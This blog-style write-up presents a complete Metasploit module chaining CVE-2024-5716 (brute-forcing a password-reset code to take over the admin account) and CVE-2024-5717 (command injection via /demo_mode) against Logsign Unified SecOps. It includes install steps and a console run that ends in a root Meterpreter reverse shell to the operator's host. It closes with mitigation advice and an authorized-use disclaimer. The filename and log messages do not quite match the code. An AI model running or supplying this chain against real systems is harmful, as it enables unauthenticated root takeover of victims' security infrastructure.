In cybersecurity, finding a bug is merely the starting line. The real impact is demonstrated when those bugs are weaponized into a stable, automated exploit chain.

Special thanks to Mehmet İnce (@mdisec) of PRODAFT, who discovered and identified the underlying vulnerabilities, documented their exploitation, and published Python-based proof-of-concept exploits on the Zero Day Initiative blog. Building on that research, I developed a unified Metasploit module to automate the transition from zero access to a root Meterpreter shell. This write-up breaks down the technical implementation of the chain — specifically CVE-2024-5716 (Account Takeover) and CVE-2024-5717 (Post-Auth RCE).

The Attack Chain Overview

The chain targets the Logsign Unified SecOps Platform (v6.4.7 and earlier) and follows a logical progression:

  1. Initial Access — CVE-2024-5716. Abuse the missing rate limiting on the password reset mechanism to hijack the admin account.
  2. Privilege Escalation — CVE-2024-5717. Use the hijacked session to inject commands via a vulnerable configuration endpoint, gaining root.

Individually these are an authentication flaw and an authenticated command injection. Chained, they collapse into a single unauthenticated, pre-auth RCE against a security product running as root.

Technical Deep Dive

Phase 1 — Initial Access (CVE-2024-5716)

The core issue is a logical flaw in the password reset process. The system generates a 6-digit verification code delivered by email but fails to implement rate limiting. With only 10⁶ (1,000,000) possible combinations, a multi-threaded brute-force cracks the code and resets the admin password in minutes — handing over full access to the management panel.

Phase 2 — Escalating to Root RCE (CVE-2024-5717)

Once authenticated as admin, the platform exposes a command injection vulnerability in the /demo_mode endpoint. User-supplied input is passed directly to a system shell command without sanitization. Chaining this with the account takeover yields a full unauthenticated remote code execution (pre-auth RCE) — and because the service runs as root, so does our shell.

The Exploit: logsign-pre-auth-rce.rb

This unified Metasploit module automates the entire chain — from the first password reset request to the final reverse shell.

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Logsign Unified SecOps Pre-Auth RCE (CVE-2024-5716 & CVE-2024-5717)',
      'Description'    => %q{
        This module exploits a vulnerability chain in the Logsign Unified SecOps Platform.

        CVE-2024-5716 allows unauthenticated attackers to abuse the password reset
        mechanism and brute-force the reset code in order to reset the admin password.

        CVE-2024-5717 is an authenticated command injection vulnerability that can be
        leveraged to achieve remote code execution.

        Successful exploitation results in a Meterpreter session.
      },
      'Author'         => ['Sevban Dönmez'],
      'License'        => MSF_LICENSE,
      'References'     => [
        ['CVE', '2024-5716'],
        ['CVE', '2024-5717'],
        ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-616/'],
        ['URL', 'https://www.zerodayinitiative.com/blog/2024/7/1/getting-unauthenticated-remote-code-execution-on-the-logsign-unified-secops-platform']
      ],
      'DisclosureDate' => '2024-06-03',
      'Platform'       => 'linux',
      'Arch'           => ARCH_PYTHON,
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'Payload'        => {
        'Space'       => 4096,
        'DisableNops' => true
      }
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME',  [true, 'Target username', 'admin'])
    ])
  end

  #
  # Metasploit check standard
  #
  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'api', 'login')
    })

    return CheckCode::Unknown unless res
    return CheckCode::Appears if res.code == 200

    CheckCode::Safe
  end

  #
  # Main exploit chain
  #
  def exploit
    username     = datastore['USERNAME']
    new_password = rand_text_alphanumeric(20)

    print_status('Triggering password reset flow (CVE-2024-5716)')
    send_forget_password_request(username)

    print_status('Bruteforcing password reset code...')
    reset_code, verification_code = brute_force_reset_code(username)

    fail_with(Failure::NoAccess, 'Password reset code brute-force failed') unless verification_code

    print_good("Reset code found: #{reset_code}")

    print_status('Resetting admin password')
    reset_password(username, verification_code, new_password)

    print_status('Logging in with new credentials')
    cookie = login(username, new_password)
    fail_with(Failure::NoAccess, 'Authentication failed') unless cookie

    print_status('Triggering command injection (CVE-2024-5717)')
    execute_payload(cookie)

    handler
  end

  private

  #
  # Send password reset request
  #
  def send_forget_password_request(username)
    send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'api', 'settings', 'forgot_password'),
      'ctype'  => 'application/json',
      'data'   => { 'username' => username }.to_json
    )
  end

  #
  # Bruteforce password reset code
  #
  def brute_force_reset_code(username)
    (0..999_999).each do |i|
      code = format('%06d', i)

      res = send_request_cgi(
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path, 'api', 'settings', 'verify_reset_code'),
        'ctype'  => 'application/json',
        'data'   => { 'username' => username, 'reset_code' => code }.to_json
      )

      next unless res && res.body.include?('Success')

      json = JSON.parse(res.body)
      return [code, json['verification_code']]
    end

    [nil, nil]
  end

  #
  # Reset user password
  #
  def reset_password(username, verification_code, password)
    send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'api', 'settings', 'reset_user_password'),
      'ctype'  => 'application/json',
      'data'   => {
        'username'          => username,
        'verification_code' => verification_code,
        'password'          => password
      }.to_json
    )
  end

  #
  # Authenticate and retrieve session cookie
  #
  def login(username, password)
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'api', 'login'),
      'ctype'  => 'application/json',
      'data'   => { 'username' => username, 'password' => password }.to_json
    )

    return nil unless res&.code == 200
    res.get_cookies
  end

  #
  # Execute payload via command injection
  #
  def execute_payload(cookie)
    cmd = payload.encoded.gsub('"', '\"')
    cmd = "bash -c \"#{cmd}\""

    send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'api', 'settings', 'demo_mode'),
      'ctype'  => 'application/json',
      'cookie' => cookie,
      'data'   => { 'enable' => true, 'list' => cmd }.to_json
    )
  end
end

Implementation & Practical Execution

To deploy this module in a controlled environment or a legitimate, authorized penetration test:

1. Installation

Clone the repository and copy the .rb file into your local Metasploit modules directory:

git clone https://github.com/byjanke/logsign-rce.git && cd logsign-rce
sudo cp logsign-unauth-rce.rb \
  /usr/share/metasploit-framework/modules/exploits/linux/http/

2. Execution

Launch the Metasploit console and configure the targets:

msf6 > use exploit/linux/http/logsign-pre-auth-rce
msf6 exploit(logsign-pre-auth-rce) > set RHOSTS 10.1.1.51
RHOSTS => 10.1.1.51

msf6 exploit(logsign-pre-auth-rce) > set LHOST 192.168.1.7
LHOST => 192.168.1.7

msf6 exploit(logsign-pre-auth-rce) > set LPORT 4444
LPORT => 4444

msf6 exploit(logsign-pre-auth-rce) > run

[*] Started reverse TCP handler on 192.168.1.7:4444
[*] Triggering forgot-password flow (CVE-2024-5716)
[*] Forgot password request successfully sent for user: admin
[*] Bruteforcing password reset verification code...
[*] Reset code discovered: 123456
[*] Verification code obtained: 7890
[*] Resetting admin password...
[*] Admin password successfully reset
[*] Logging in with newly set credentials...
[*] Authentication successful, session cookie obtained
[*] Triggering authenticated command injection (CVE-2024-5717)
[*] Sending Meterpreter payload...
[*] Waiting for session...

[+] Meterpreter session 1 opened (192.168.1.7:4444 -> 10.1.1.51:443) at 2024-10-06 14:15:00 +0300

meterpreter > getuid
Server username: root

meterpreter > sysinfo
Computer     : logsign-siem
OS           : Ubuntu 20.04.6 LTS (Linux 5.4.0-150-generic)
Architecture : x64
Meterpreter  : python/linux

getuid returning root confirms the full chain: from an anonymous network position to root code execution on the SIEM, with no valid credentials required at any point.

Conclusion & Mitigation

These vulnerabilities highlight a critical lesson: security software is not inherently secure. A SecOps platform running as root, exposing an API with no rate limiting on its password reset flow and an unsanitized shell call behind an admin endpoint, is a high-value single point of failure.

Mitigation:

  • Patch immediately. Logsign fixed these issues in version 6.4.8 — update without delay.
  • Segment the network. Management interfaces must never be exposed to untrusted networks.
  • Enforce MFA on all administrative accounts to blunt the impact of password reset flaws.
  • Rate-limit and monitor authentication and reset endpoints; a flood of 6-digit verify_reset_code attempts is an unmistakable brute-force signature.

⚠️ This module is published for authorized security testing, research, and defensive validation only. Run it solely against systems you own or have explicit written permission to test.

Full repository: github.com/byjanke/logsign-rce

References

  • Zero Day Initiative. ZDI-24-616 — Logsign Unified SecOps Platform advisory. zerodayinitiative.com
  • Mehmet İnce (PRODAFT). Getting Unauthenticated RCE on the Logsign Unified SecOps Platform. zerodayinitiative.com